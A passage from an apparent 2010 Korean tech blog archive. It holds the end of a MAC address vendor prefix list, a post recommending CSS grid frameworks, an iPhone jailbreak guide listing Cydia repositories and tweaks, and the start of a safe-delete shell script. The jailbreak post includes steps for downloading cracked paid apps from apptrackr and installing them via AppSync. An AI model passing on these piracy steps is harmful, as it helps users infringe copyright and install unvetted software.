00-D0-B0    BITSWITCH LTD.
00-D0-B1    OMEGA ELECTRONICS SA
00-D0-B2    XIOTECH CORPORATION
00-D0-B3    DRS FLIGHT SAFETY AND
00-D0-B4    KATSUJIMA CO., LTD.
00-D0-B5    DOTCOM
00-D0-B6    CRESCENT NETWORKS, INC.
00-D0-B7    INTEL CORPOTATION
00-D0-B8    IOMEGA CORP.
00-D0-B9    MICROTEK INTERNATIONAL, INC.
00-D0-BA    CISCO SYSTEMS, INC.
00-D0-BB    CISCO SYSTEMS, INC.
00-D0-BC    CISCO SYSTEMS, INC.
00-D0-BD    SICAN GMBH
00-D0-BE    EMUTEC INC.
00-D0-BF    PIVOTAL TECHNOLOGIES
00-D0-C0    CISCO SYSTEMS, INC.
00-D0-C1    HARMONIC DATA SYSTEMS, LTD.
00-D0-C2    BALTHAZAR TECHNOLOGY AB
00-D0-C3    VIVID TECHNOLOGY PTE, LTD.
00-D0-C4    TERATECH CORPORATION
00-D0-C5    COMPUTATIONAL SYSTEMS, INC.
00-D0-C6    THOMAS & BETTS CORP.
00-D0-C7    PATHWAY, INC.
00-D0-C8    I/O CONSULTING A/S
00-D0-C9    ADVANTECH CO., LTD.
00-D0-CA    INTRINSYC SOFTWARE INC.
00-D0-CB    DASAN CO., LTD.
00-D0-CC    TECHNOLOGIES LYRE INC.
00-D0-CD    ATAN TECHNOLOGY INC.
00-D0-CE    ASYST ELECTRONIC
00-D0-CF    MORETON BAY
00-D0-D0    ZHONGXING TELECOM LTD.
00-D0-D1    SIROCCO SYSTEMS, INC.
00-D0-D2    EPILOG CORPORATION
00-D0-D3    CISCO SYSTEMS, INC.
00-D0-D4    V-BITS, INC.
00-D0-D5    GRUNDIG AG
00-D0-D6    AETHRA TELECOMUNICAZIONI
00-D0-D7    B2C2, INC.
00-D0-D8    NOMADIC TECHNOLOGIES
00-D0-D9    DEDICATED MICROCOMPUTERS
00-D0-DA    TAICOM DATA SYSTEMS CO., LTD.
00-D0-DB    MCQUAY INTERNATIONAL
00-D0-DC    MODULAR MINING SYSTEMS, INC.
00-D0-DD    SUNRISE TELECOM, INC.
00-D0-DE    PHILIPS MULTIMEDIA NETWORK
00-D0-DF    KUZUMI ELECTRONICS, INC.
00-D0-E0    DOOIN ELECTRONICS CO.
00-D0-E1    AVIONITEK ISRAEL INC.
00-D0-E2    MRT MICRO, INC.
00-D0-E3    ELE-CHEM ENGINEERING CO., LTD.
00-D0-E4    CISCO SYSTEMS, INC.
00-D0-E5    SOLIDUM SYSTEMS CORP.
00-D0-E6    IBOND INC.
00-D0-E7    VCON TELECOMMUNICATION LTD.
00-D0-E8    MAC SYSTEM CO., LTD.
00-D0-E9    ADVANTAGE CENTURY
00-D0-EA    NEXTONE COMMUNICATIONS, INC.
00-D0-EB    LIGHTERA NETWORKS, INC.
00-D0-EC    NAKAYO TELECOMMUNICATIONS, INC
00-D0-ED    XIOX
00-D0-EE    DICTAPHONE CORPORATION
00-D0-EF    IGT
00-D0-F0    CONVISION TECHNOLOGY GMBH
00-D0-F1    SEGA ENTERPRISES, LTD.
00-D0-F2    MONTEREY NETWORKS
00-D0-F3    SOLARI DI UDINE SPA
00-D0-F4    CARINTHIAN TECH INSTITUTE
00-D0-F5    ORANGE MICRO, INC.
00-D0-F6    NORTHCHURCH COMMUNICATIONS INC
00-D0-F7    NEXT NETS CORPORATION
00-D0-F8    FUJIAN STAR TERMINAL
00-D0-F9    ACUTE COMMUNICATIONS CORP.
00-D0-FA    RACAL GUARDATA
00-D0-FB    TEK MICROSYSTEMS, INCORPORATED
00-D0-FC    GRANITE MICROSYSTEMS
00-D0-FD    OPTIMA TELE.COM, INC.
00-D0-FE    ASTRAL POINT
00-D0-FF    CISCO SYSTEMS, INC.
00-DD-00    UNGERMANN-BASS INC.
00-DD-01    UNGERMANN-BASS INC.
00-DD-02    UNGERMANN-BASS INC.
00-DD-03    UNGERMANN-BASS INC.
00-DD-04    UNGERMANN-BASS INC.
00-DD-05    UNGERMANN-BASS INC.
00-DD-06    UNGERMANN-BASS INC.
00-DD-07    UNGERMANN-BASS INC.
00-DD-08    UNGERMANN-BASS INC.
00-DD-09    UNGERMANN-BASS INC.
00-DD-0A    UNGERMANN-BASS INC.
00-DD-0B    UNGERMANN-BASS INC.
00-DD-0C    UNGERMANN-BASS INC.
00-DD-0D    UNGERMANN-BASS INC.
00-DD-0E    UNGERMANN-BASS INC.
00-DD-0F    UNGERMANN-BASS INC.
00-E0-00    FUJITSU, LTD
00-E0-01    STRAND LIGHTING LIMITED
00-E0-02    CROSSROADS SYSTEMS, INC.
00-E0-03    NOKIA WIRELESS BUSINESS COMMUN
00-E0-04    PMC-SIERRA, INC.
00-E0-05    TECHNICAL CORP.
00-E0-06    SILICON INTEGRATED SYS. CORP.
00-E0-07    NETWORK ALCHEMY LTD.
00-E0-08    AMAZING CONTROLS! INC.
00-E0-09    MARATHON TECHNOLOGIES CORP.
00-E0-0A    DIBA, INC.
00-E0-0B    ROOFTOP COMMUNICATIONS CORP.
00-E0-0C    MOTOROLA
00-E0-0D    RADIANT SYSTEMS
00-E0-0E    AVALON IMAGING SYSTEMS, INC.
00-E0-0F    SHANGHAI BAUD DATA
00-E0-10    HESS SB-AUTOMATENBAU GMBH
00-E0-11    UNIDEN SAN DIEGO
00-E0-12    PLUTO TECHNOLOGIES
00-E0-13    EASTERN ELECTRONIC CO., LTD.
00-E0-14    CISCO SYSTEMS, INC.
00-E0-15    HEIWA CORPORATION
00-E0-16    RAPID CITY COMMUNICATIONS
00-E0-17    EXXACT GMBH
00-E0-18    ASUSTEK COMPUTER INC.
00-E0-19    ING. GIORDANO ELETTRONICA
00-E0-1A    COMTEC SYSTEMS. CO., LTD.
00-E0-1B    SPHERE COMMUNICATIONS, INC.
00-E0-1C    MOBILITY ELECTRONICSY
00-E0-1D    WEBTV NETWORKS, INC.
00-E0-1E    CISCO SYSTEMS, INC.
00-E0-1F    AVIDIA SYSTEMS, INC.
00-E0-20    TECNOMEN OY
00-E0-21    FREEGATE CORP.
00-E0-22    MEDIALIGHT INC.
00-E0-23    TELRAD
00-E0-24    GADZOOX NETWORKS
00-E0-25    DIT CO., LTD.
00-E0-26    EASTMAN KODAK CO.
00-E0-27    DUX, INC.
00-E0-28    APTIX CORPORATION
00-E0-29    STANDARD MICROSYSTEMS CORP.
00-E0-2A    TANDBERG TELEVISION AS
00-E0-2B    EXTREME NETWORKS
00-E0-2C    AST COMPUTER
00-E0-2D    INNOMEDIALOGIC, INC.
00-E0-2E    SPC ELECTRONICS CORPORATION
00-E0-2F    MCNS HOLDINGS, L.P.
00-E0-30    MELITA INTERNATIONAL CORP.
00-E0-31    HAGIWARA ELECTRIC CO., LTD.
00-E0-32    MISYS FINANCIAL SYSTEMS, LTD.
00-E0-33    E.E.P.D. GMBH
00-E0-34    CISCO SYSTEMS, INC.
00-E0-35    LOUGHBOROUGH SOUND IMAGES, PLC
00-E0-36    PIONEER CORPORATION
00-E0-37    CENTURY CORPORATION
00-E0-38    PROXIMA CORPORATION
00-E0-39    PARADYNE CORP.
00-E0-3A    CABLETRON SYSTEMS, INC.
00-E0-3B    PROMINET CORPORATION
00-E0-3C    ADVANSYS
00-E0-3D    FOCON ELECTRONIC SYSTEMS A/S
00-E0-3E    ALFATECH, INC.
00-E0-3F    JATON CORPORATION
00-E0-40    DESKSTATION TECHNOLOGY, INC.
00-E0-41    CSPI
00-E0-42    PACOM DATA LTD.
00-E0-43    VITALCOM
00-E0-44    LSICS CORPORATION
00-E0-45    TOUCHWAVE, INC.
00-E0-46    BENTLY NEVADA CORP.
00-E0-47    INFOCUS SYSTEMS
00-E0-48    SDL COMMUNICATIONS, INC.
00-E0-49    MICROWI ELECTRONIC GMBH
00-E0-4A    ENHANCED MESSAGING SYSTEMS,INC
00-E0-4B    JUMP INDUSTRIELLE
00-E0-4C    REALTEK SEMICONDUCTOR CORP.
00-E0-4D    INTERNET INITIATIVE JAPAN, INC
00-E0-4E    SANYO DENKI CO., LTD.
00-E0-4F    CISCO SYSTEMS, INC.
00-E0-50    EXECUTONE INFORMATION
00-E0-51    TALX CORPORATION
00-E0-52    FOUNDRY NETWORKS, INC.
00-E0-53    CELLPORT LABS, INC.
00-E0-54    KODAI HITEC CO., LTD.
00-E0-55    INGENIERIA ELECTRONICA
00-E0-56    HOLONTECH CORPORATION
00-E0-57    HAN MICROTELECOM. CO., LTD.
00-E0-58    PHASE ONE DENMARK A/S
00-E0-59    CONTROLLED ENVIRONMENTS, LTD.
00-E0-5A    GALEA NETWORK SECURITY
00-E0-5B    WEST END SYSTEMS CORP.
00-E0-5C    MATSUSHITA KOTOBUKI
00-E0-5D    UNITEC CO., LTD.
00-E0-5E    JAPAN AVIATION ELECTRONICS
00-E0-5F    E-NET, INC.
00-E0-60    SHERWOOD
00-E0-61    EDGEPOINT NETWORKS, INC.
00-E0-62    HOST ENGINEERING
00-E0-63    CABLETRON - YAGO SYSTEMS, INC.
00-E0-64    SAMSUNG ELECTRONICS
00-E0-65    OPTICAL ACCESS INTERNATIONAL
00-E0-66    PROMAX SYSTEMS, INC.
00-E0-67    EAC AUTOMATION-CONSULTING GMBH
00-E0-68    MERRIMAC SYSTEMS INC.
00-E0-69    JAYCOR NETWORKS, INC.
00-E0-6A    KAPSCH AG
00-E0-6B    W&G SPECIAL PRODUCTS
00-E0-6C    BALTIMORE TECHNOLOGIES, LTD.
00-E0-6D    COMPUWARE CORPORATION
00-E0-6E    FAR SYSTEMS SPA
00-E0-6F    TERAYON CORP.
00-E0-70    DH TECHNOLOGY
00-E0-71    EPIS MICROCOMPUTER
00-E0-72    LYNK
00-E0-73    NATIONAL AMUSEMENT
00-E0-74    TIERNAN COMMUNICATIONS, INC.
00-E0-75    ATLAS COMPUTER EQUIPMENT, INC.
00-E0-76    DEVELOPMENT CONCEPTS, INC.
00-E0-77    WEBGEAR, INC.
00-E0-78    BERKELEY NETWORKS
00-E0-79    A.T.N.R.
00-E0-7A    MIKRODIDAKT AB
00-E0-7B    BAY NETWORKS
00-E0-7C    METTLER-TOLEDO, INC.
00-E0-7D    NETRONIX, INC.
00-E0-7E    WALT DISNEY IMAGINEERING
00-E0-7F    LOGISTISTEM SRL
00-E0-80    CONTROL RESOURCES CORPORATION
00-E0-81    TYAN COMPUTER CORP.
00-E0-82    ANERMA
00-E0-83    JATO TECHNOLOGIES, INC.
00-E0-84    COMPULITE R&D
00-E0-85    GLOBAL MAINTECH, INC.
00-E0-86    CYBEX COMPUTER PRODUCTS
00-E0-87    LECROY
00-E0-88    LTX CORPORATION
00-E0-89    MICROFRAME INC.
00-E0-8A    GEC AVERY, LTD.
00-E0-8B    QLOGIC CORP.
00-E0-8C    NEOPARADIGM LABS, INC.
00-E0-8D    PRESSURE SYSTEMS, INC.
00-E0-8E    UTSTARCOM
00-E0-8F    CISCO SYSTEMS, INC.
00-E0-90    BECKMAN LAB. AUTOMATION DIV.
00-E0-91    LG ELECTRONICS, INC.
00-E0-92    ADMTEK INCORPORATED
00-E0-93    ACKFIN NETWORKS
00-E0-94    OSAI SRL
00-E0-95    ADVANCED-VISION TECHNOLGIES
00-E0-96    SHIMADZU CORPORATION
00-E0-97    CARRIER ACCESS CORPORATION
00-E0-98    ABOCOM SYSTEMS, INC.
00-E0-99    SAMSON AG
00-E0-9A    POSITRON INDUSTRIES, INC.
00-E0-9B    ENGAGE NETWORKS, INC.
00-E0-9C    MII
00-E0-9D    SARNOFF CORPORATION
00-E0-9E    QUANTUM CORPORATION
00-E0-9F    PIXEL VISION
00-E0-A0    WILTRON CO.
00-E0-A1    HIMA PAUL HILDEBRANDT
00-E0-A2    MICROSLATE INC.
00-E0-A3    CISCO SYSTEMS, INC.
00-E0-A4    ESAOTE S.P.A.
00-E0-A5    COMCORE SEMICONDUCTOR, INC.
00-E0-A6    TELOGY NETWORKS, INC.
00-E0-A7    IPC INFORMATION SYSTEMS, INC.
00-E0-A8    SAT GMBH&CO
00-E0-A9    FUNAI ELECTRIC CO., LTD.
00-E0-AA    ELECTROSONIC LTD.
00-E0-AB    DIMAT S.A.
00-E0-AC    MIDSCO, INC.
00-E0-AD    EES TECHNOLOGY, LTD.
00-E0-AE    XAQTI CORPORATION
00-E0-AF    GENERAL DYNAMICS INFORMATION
00-E0-B0    CISCO SYSTEMS, INC.
00-E0-B1    PACKET ENGINES, INC.
00-E0-B2    TELMAX COMMUNICATIONS CORP.
00-E0-B3    ETHERWAN SYSTEMS, INC.
00-E0-B4    TECHNO SCOPE CO., LTD.
00-E0-B5    ARDENT COMMUNICATIONS CORP.
00-E0-B6    OSICOM TECHNOLOGIES
00-E0-B7    PI GROUP, LTD.
00-E0-B8    GATEWAY 2000
00-E0-B9    BYAS SYSTEMS
00-E0-BA    BERGHOF AUTOMATIONSTECHNIK
00-E0-BB    NBX CORPORATION
00-E0-BC    SYMON COMMUNICATIONS, INC.
00-E0-BD    INTERFACE SYSTEMS, INC.
00-E0-BE    GENROCO INTERNATIONAL, INC.
00-E0-BF    TORRENT NETWORKING
00-E0-C0    SEIWA ERECTRIC MFG. CO., LTD.
00-E0-C1    MEMOREX TELEX JAPAN, LTD.
00-E0-C2    NECSY SPA
00-E0-C3    SAKAI SYSTEM DEVELOPMENT CORP.
00-E0-C4    HORNER ELECTRIC, INC.
00-E0-C5    BCOM ELECTRONICS INC.
00-E0-C6    LINK2IT, L.L.C.
00-E0-C7    EUROTECH SRL
00-E0-C8    VIRTUAL ACCESS, LTD.
00-E0-C9    AUTOMATEDLOGIC CORPORATION
00-E0-CA    BEST DATA PRODUCTS
00-E0-CB    RESON, INC.
00-E0-CC    HERO SYSTEMS, LTD.
00-E0-CD    SENSIS CORPORATION
00-E0-CE    ARN
00-E0-CF    INTEGRATED DEVICE
00-E0-D0    NETSPEED, INC.
00-E0-D1    TELSIS LIMITED
00-E0-D2    VERSANET COMMUNICATIONS, INC.
00-E0-D3    DATENTECHNIK GMBH
00-E0-D4    EXCELLENT COMPUTER
00-E0-D5    ARCXEL TECHNOLOGIES, INC.
00-E0-D6    COMPUTER & COMMUNICATION
00-E0-D7    SUNSHINE ELECTRONICS, INC.
00-E0-D8    LANBIT COMPUTER, INC.
00-E0-D9    TAZMO CO., LTD.
00-E0-DA    ASSURED ACCESS
00-E0-DB    VIAVIDEO COMMUNICATIONS
00-E0-DC    NEXWARE CORP.
00-E0-DD    ZENITH ELECTRONICS CORPORATION
00-E0-DE    DATAX NV
00-E0-DF    KE KOMMUNIKATIONS-ELECTRONIK
00-E0-E0    SI ELECTRONICS, LTD.
00-E0-E1    G2 NETWORKS, ILNC.
00-E0-E2    INNOVA CORP.
00-E0-E3    SK-ELEKTRONIK GMBH
00-E0-E4    FANUC ROBOTICS NORTH AMERICA,
00-E0-E5    CINCO NETWORKS, INC.
00-E0-E6    INCAA DATACOM B.V.
00-E0-E7    RAYTHEON E-SYSTEMS, INC.
00-E0-E8    GRETACODER DATA SYSTEMS AG
00-E0-E9    DATA LABS, INC.
00-E0-EA    INNOVAT COMMUNICATIONS, INC.
00-E0-EB    DIGICOM SYSTEMS, INCORPORATED
00-E0-EC    CELESTICA INC.
00-E0-ED    SILICOM, LTD.
00-E0-EE    MAREL HF
00-E0-EF    DIONEX
00-E0-F0    ABLER TECHNOLOGY, INC.
00-E0-F1    THAT CORPORATION
00-E0-F2    ARLOTTO COMNET, INC.
00-E0-F3    WEBSPRINT COMMUNICATIONS, INC.
00-E0-F4    INSIDE TECHNOLOGY A/S
00-E0-F5    TELES AG
00-E0-F6    DECISION EUROPE
00-E0-F7    CISCO SYSTEMS, INC.
00-E0-F8    DIANA CONTROL AB
00-E0-F9    CISCO SYSTEMS, INC.
00-E0-FA    TRL TECHNOLOGY, LTD.
00-E0-FB    LEIGHTRONIX, INC.
00-E0-FC    HUAWEI TECHNOLOGIES CO., LTD.
00-E0-FD    A-TREND TECHNOLOGY CO., LTD.
00-E0-FE    CISCO SYSTEMS, INC.
00-E0-FF    SECURITY DYNAMICS TECHNOLOGIES
00-E6-D3    NIXDORF COMPUTER CORP.
02-07-01    RACAL-DATACOM
02-1C-7C    PERQ SYSTEMS CORPORATION
02-60-86    LOGIC REPLACEMENT TECH. LTD.
02-60-8C    3COM CORPORATION
02-70-01    RACAL-DATACOM
02-70-B0    M/A-COM INC. COMPANIES
02-70-B3    DATA RECALL LTD
02-9D-8E    CARDIAC RECORDERS INC.
02-AA-3C    OLIVETTI TELECOMM SPA (OLTECO)
02-BB-01    OCTOTHORPE CORP.
02-C0-8C    3COM CORPORATION
02-CF-1C    COMMUNICATION MACHINERY CORP.
02-E6-D3    NIXDORF COMPUTER CORPORATION
04-0A-E0    XMIT AG COMPUTER NETWORKS
04-E0-C4    TRIUMPH-ADLER AG
08-00-01    COMPUTERVISION CORPORATION
08-00-02    BRIDGE COMMUNICATIONS INC.
08-00-03    ADVANCED COMPUTER COMM.
08-00-04    CROMEMCO INCORPORATED
08-00-05    SYMBOLICS INC.
08-00-06    SIEMENS AG
08-00-07    APPLE COMPUTER INC.
08-00-08    BOLT BERANEK AND NEWMAN INC.
08-00-09    HEWLETT PACKARD
08-00-0A    NESTAR SYSTEMS INCORPORATED
08-00-0B    UNISYS CORPORATION
08-00-0C    MIKLYN DEVELOPMENT CO.
08-00-0D    INTERNATIONAL COMPUTERS LTD.
08-00-0E    NCR CORPORATION
08-00-0F    MITEL CORPORATION
08-00-11    TEKTRONIX INC.
08-00-12    BELL ATLANTIC INTEGRATED SYST.
08-00-13    EXXON
08-00-14    EXCELAN
08-00-15    STC BUSINESS SYSTEMS
08-00-16    BARRISTER INFO SYS CORP
08-00-17    NATIONAL SEMICONDUCTOR
08-00-18    PIRELLI FOCOM NETWORKS
08-00-19    GENERAL ELECTRIC CORPORATION
08-00-1A    TIARA/ 10NET
08-00-1B    DATA GENERAL
08-00-1C    KDD-KOKUSAI DEBNSIN DENWA CO.
08-00-1D    ABLE COMMUNICATIONS INC.
08-00-1E    APOLLO COMPUTER INC.
08-00-1F    SHARP CORPORATION
08-00-20    SUN MICROSYSTEMS INC.
08-00-21    3M COMPANY
08-00-22    NBI INC.
08-00-23    MATSUHITA GRAPHIC COMM SYS INC
08-00-24    10NET COMMUNICATIONS/DCA
08-00-25    CONTROL DATA
08-00-26    NORSK DATA A.S.
08-00-27    CADMUS COMPUTER SYSTEMS
08-00-28    TEXAS INSTRUMENTS
08-00-29    MEGATEK CORPORATION
08-00-2A    MOSAIC TECHNOLOGIES INC.
08-00-2B    DIGITAL EQUIPMENT CORPORATION
08-00-2C    BRITTON LEE INC.
08-00-2D    LAN-TEC INC.
08-00-2E    METAPHOR COMPUTER SYSTEMS
08-00-2F    PRIME COMPUTER INC.
08-00-30    NETWORK RESEARCH CORPORATION
08-00-30    CERN
08-00-30    ROYAL MELBOURNE INST OF TECH
08-00-31    LITTLE MACHINES INC.
08-00-32    TIGAN INCORPORATED
08-00-33    BAUSCH & LOMB
08-00-34    FILENET CORPORATION
08-00-35    MICROFIVE CORPORATION
08-00-36    INTERGRAPH CORPORATION
08-00-37    FUJI-XEROX CO. LTD.
08-00-38    CII HONEYWELL BULL
08-00-39    SPIDER SYSTEMS LIMITED
08-00-3A    ORCATECH INC.
08-00-3B    TORUS SYSTEMS LIMITED
08-00-3C    SCHLUMBERGER WELL SERVICES
08-00-3D    CADNETIX CORPORATIONS
08-00-3E    CODEX CORPORATION
08-00-3F    FRED KOSCHARA ENTERPRISES
08-00-40    FERRANTI COMPUTER SYS. LIMITED
08-00-41    RACAL-MILGO INFORMATION SYS..
08-00-42    JAPAN MACNICS CORP.
08-00-43    PIXEL COMPUTER INC.
08-00-44    DAVID SYSTEMS INC.
08-00-45    CONCURRENT COMPUTER CORP.
08-00-46    SONY CORPORATION LTD.
08-00-47    SEQUENT COMPUTER SYSTEMS INC.
08-00-48    EUROTHERM GAUGING SYSTEMS
08-00-49    UNIVATION
08-00-4A    BANYAN SYSTEMS INC.
08-00-4B    PLANNING RESEARCH CORP.
08-00-4C    HYDRA COMPUTER SYSTEMS INC.
08-00-4D    CORVUS SYSTEMS INC.
08-00-4E    3COM EUROPE LTD.
08-00-4F    CYGNET SYSTEMS
08-00-50    DAISY SYSTEMS CORP.
08-00-51    EXPERDATA
08-00-52    INSYSTEC
08-00-53    MIDDLE EAST TECH. UNIVERSITY
08-00-55    STANFORD TELECOMM. INC.
08-00-56    STANFORD LINEAR ACCEL. CENTER
08-00-57    EVANS & SUTHERLAND
08-00-58    SYSTEMS CONCEPTS
08-00-59    A/S MYCRON
08-00-5A    IBM CORPORATION
08-00-5B    VTA TECHNOLOGIES INC.
08-00-5C    FOUR PHASE SYSTEMS
08-00-5D    GOULD INC.
08-00-5E    COUNTERPOINT COMPUTER INC.
08-00-5F    SABER TECHNOLOGY CORP.
08-00-60    INDUSTRIAL NETWORKING INC.
08-00-61    JAROGATE LTD.
08-00-62    GENERAL DYNAMICS
08-00-63    PLESSEY
08-00-64    AUTOPHON AG
08-00-65    GENRAD INC.
08-00-66    AGFA CORPORATION
08-00-67    COMDESIGN
08-00-68    RIDGE COMPUTERS
08-00-69    SILICON GRAPHICS INC.
08-00-6A    ATT BELL LABORATORIES
08-00-6B    ACCEL TECHNOLOGIES INC.
08-00-6C    SUNTEK TECHNOLOGY INT'L
08-00-6D    WHITECHAPEL COMPUTER WORKS
08-00-6E    MASSCOMP
08-00-6F    PHILIPS APELDOORN B.V.
08-00-70    MITSUBISHI ELECTRIC CORP.
08-00-71    MATRA (DSIE)
08-00-72    XEROX CORP UNIV GRANT PROGRAM
08-00-73    TECMAR INC.
08-00-74    CASIO COMPUTER CO. LTD.
08-00-75    DANSK DATA ELECTRONIK
08-00-76    PC LAN TECHNOLOGIES
08-00-77    TSL COMMUNICATIONS LTD.
08-00-78    ACCELL CORPORATION
08-00-79    THE DROID WORKS
08-00-7A    INDATA
08-00-7B    SANYO ELECTRIC CO. LTD.
08-00-7C    VITALINK COMMUNICATIONS CORP.
08-00-7E    AMALGAMATED WIRELESS(AUS) LTD
08-00-7F    CARNEGIE-MELLON UNIVERSITY
08-00-80    AES DATA INC.
08-00-81    ,ASTECH INC.
08-00-82    VERITAS SOFTWARE
08-00-83    SEIKO INSTRUM. AND ELECTRONICS
08-00-84    TOMEN ELECTRONICS CORP.
08-00-85    ELXSI
08-00-86    IMAGEN CORPORATION
08-00-87    XYPLEX
08-00-88    MCDATA CORPORATION
08-00-89    KINETICS
08-00-8A    PERFORMANCE TECHNOLOGY
08-00-8B    PYRAMID TECHNOLOGY CORP.
08-00-8C    NETWORK RESEARCH CORPORATION
08-00-8D    XYVISION INC.
08-00-8E    TANDEM COMPUTERS
08-00-8F    CHIPCOM CORPORATION
08-00-90    SONOMA SYSTEMS
08-BB-CC    AK-NORD EDV VERTRIEBSGES. MBH
10-00-5A    IBM CORPORATION
10-00-E8    NATIONAL SEMICONDUCTOR
80-00-10    ATT BELL LABORATORIES
AA-00-00    DIGITAL EQUIPMENT CORPORATION
AA-00-01    DIGITAL EQUIPMENT CORPORATION
AA-00-02    DIGITAL EQUIPMENT CORPORATION
AA-00-03    DIGITAL EQUIPMENT CORPORATION
AA-00-04    DIGITAL EQUIPMENT CORPORATION
2010/09/02 18:22 2010/09/02 18:22
http://ikspres.com/pages/1463774

css 를 이용해 레이아웃을 잡기위한 삽질을 줄여주는 프레임워크들이 있습니다.
http://nettuts.com/html-css-techniques/which-css-grid-framework-should-you-use-for-web-design/

위 링크에 가보면 css 프레임워크 종류 및 소개가 있습니다.

http://www.blueprintcss.org/
그중 blueprintcss를 추천합니다.

자세한건 구글신께;;

http://www.google.co.kr/search?hl=ko&client=firefox-a&rls=org.mozilla%3Ako%3Aofficial&hs=52g&newwindow=1&q=blueprintcss&btnG=%EA%B2%80%EC%83%89&lr=lang_ko&aq=f&oq=

기본 사용법 링크1 참조
2010/08/18 21:04 2010/08/18 21:04

JailbreakMe 탈옥 후,

시디아 소스추가
1.Cydia > Manage > Sources > Edit > Add
2.주소창에 http://www.sinfuliphonerepo.com을 입력하고서 Add를 클릭 / http://repo.beyouriphone.com주1 도 마찬가지로 추가
3.추가한 위의 source 의 repository(저장소)가 추가될 때까지 잠시 기다립니다.
4.설치가 끝났으면, Cydia의 Search 탭으로 들어가서 아래와 같은 목록의 시디아 어플을 찾아서 설치합니다.
추천할 만한 시디아 어플주2
1.biteSMS주3 - 필수 어플. 시디아 어플 하면 처음 생각나는 SMS 어플. 사생활보호를 위해 암호를 걸 수 있는 등 편리하게 SMS를 사용할 수 있게 해줍니다.
2.sbsettings - 말이 필요없는 필수 어플 (이하 [필] 표시). 설치 후 시계를 살짝 문지르면 창이 뜨면서, 3G, Wi-fi 및 Processes, 밝기 조정 등, 아이폰을 손쉽게 관리합니다.
3.appsync for os 4.x - [필] 해킹어플을 어떻게 아이폰에 설치하느냐고 물으신다면 몇 가지 방법이 있지만, 아이튠스와 Sync하는 방법이 제일 편합니다. 아이튠스의 응용프로그램에 해킹어플을 내려받아 드래그해서 놓으시면 됩니다. 그것을 가능케 해주는 어플임
4.makeitmine - [필] 통신사의 Show 대신에 자기가 원하는 이름을 넣을 수 있습니다.
5.silent camera theme - [필] 아이폰 탈옥하고 싶은 이유 중 하나 - 카메라의 찰칵 음을 무음 처리해줍니다. 테마이므로 Winterboard에서 활성화 시키면 됩니다.
6.PkgBackup - [필] 순정으로 돌아갔다가 언제고 다시 탈옥으로 돌아가도 예전에 설치된 시디아 어플을 다시 복원할 수 있습니다. 백업 후 아이튠스로 동기화시키면 됨.
7.nocyfresh - [필] 시디아에 접속할 때마다 뜨는 지루한 업데이트를 통과시킴.
8.cydelete - [필] 시디아 어플을 일반 어플처럼 간단히 삭제할 수 있게 해줌.
9.disable ios4.0 multitasking - iOS4.0의 어설픈 멀티태스킹을 중지시켜 줌.
10.backgrounder - 탈옥의 진정한 멀티태스킹을 가능케 해줍니다.
11.kirikae - backgrounder와 더불어 멀티태스킹에 필요한 어플
12.Safari Download Manager - 사파리 실행 시 내려받기를 쉽게 해줍니다. 한 번도 안 써봤지만 일단 설치.
13.Recent/CallLog Delete - 최근 통화 목록에서 원하는 것만 개별적으로 삭제 가능하게 해줍니다. - 사생활 보호

3.1.3에서 잘 썼으나 4.0 이상에서 에러 나는 시디아어플들
Springboard가 깨졌다고 safe mode로 진입하면 바로 직전에 까셨던 시디아어플을 다시 remove 하시길 바랍니다. 바로 직전에 무엇을 깔았는지 모르시면 safe mode가 풀릴 때까지 하나하나 삭제해 나가시길 바랍니다. iOS4.0 이상이 나온 지 얼마 안돼서 safe mode 에러가 많이 나는 것 같습니다.

1.iprotect - 개인보호관련... 메모장, 메시지, 특정 어플에 암호를 걸어줍니다. 그러나 enabled 하니 아이폰이 Springboard가 깨지면서 Safe mode 나옴;;
2.iblacklist - 전화번호의 블랙리스트, 화이트리스트를 관리해 줍니다. - safe mode나옴;;
3.infinidock - dock을 스크롤 할 수 있게 해줍니다. (iOS의 멀티태스킹바가 스크롤 되는 것처럼.) - safe mode나옴;;
4.QuickLock - 전원 버튼 대신에 springboard상에서 원터치 클릭하면 Lock이 걸립니다. - safe mode나옴;;
혹시 위의 어플을 설치해도 에러가 안 나면 그대로 잘 사용하시면 될 것 같습니다. 그새 판올림이 되어서 에러가 안 나거나, 아니면 제 아이폰에서만 그렇게 에러가 났었나 봅니다.;;

좋지만 유료라서 눈요기만 하는 것들
1.snapTap - 볼륨 키로 사진찍기 - 유료;;
2.infinifolders - 폴더당 12개 어플 제한을 무제한으로 만드는 어플 - 유료;;
맘에 드는 springboard / sbsetting 테마
* springboard 테마

iOS4 Complete - 아이폰 4의 상큼한 물방울무늬의 테마 - 추천
ios4 Transparent Slider - 슬라이더를 아이폰 4과 같이 투명하게 바꿔줌
* sbsettings 테마 - 아래 둘 중 택1

Macbook SBSettings Theme - sbsettings의 테마를 Mac처럼 꾸며줌.
Windows 7 SBS - 윈 7처럼 꾸며줌.
일단 위의 테마만 내려받으셔서 Winderboard에서 사용 체크해서 사용하시고 추후 Cydia나 구글링으로 검색해보셔서 맘에 드시는 것으로 바꾸시길 바랍니다.

해킹어플 설치주4
시디아 어플인 appsync for os 4.x 가 설치되어 있다고는 전제하에

1.컴퓨터에서 http://apptrackr.org/  에 접속하셔서 크랙된 원하는 어플을 내려받기합니다.
2.내려받은 어플주5을 아이튠스의 응용프로그램 목록에 드래그해서 집어넣습니다.
3.연결된 아이폰으로 동기화시켜주면 끝.
주의 : 해킹어플은 아이튠스 상에서 업데이트가 안되므로, 다시 http://apptrackr.org/  등에서 새 버전을 검색하여 내려받기하시면 됩니다. 일반 어플 업데이트 시에 아이튠스가 똑똑하게도 해킹어플은 업데이트 하려고 시도하지 않습니다.^^

개인적으로 탈옥을 별로 오래 사용하진 않았지만, 제 블로그의 특성상 가장 기본적인 설명만 드렸습니다. 그래도 처음 탈옥하시는 분에게 조금이라도 도움이 되었으면 좋겠습니다.

2010/08/01 22:16 2010/08/01 22:16
서버 작업하면 가끔 콘솔 2개 열고 작업하다 엉뚱한데 날리는 경우가 있습니다.
특히나 꾸벅 꾸벅 졸면서 새벽작업할때.. 캄캄합니다. IDC까지 그새벽에 가야하고..

쉘스크립트 입니다.

cat newrm.sh
#!/bin/sh

# newrm - a replacement for the existing rm command that allows a
#  rudimentary unremove capability through utilizing a newly created
#  directory in the user's home directory. It can handle directories
#  of content as well as individual files, and if the user specifies
#  the -f flag, files are NOT archived, but removed.
#  rewrm 에서 -f를 붙이면 휴지통으로 버리지않고 완전 제거한다는...
 
# Big Important Warning: you'll want a cron job or similar to keep the
#  individual trash directories tamed, otherwise nothing will ever
#  actually be deleted on the system and you'll run out of disk space!

mydir="$HOME/.deleted-files"  # 지워진 파일이 저장되는 곳
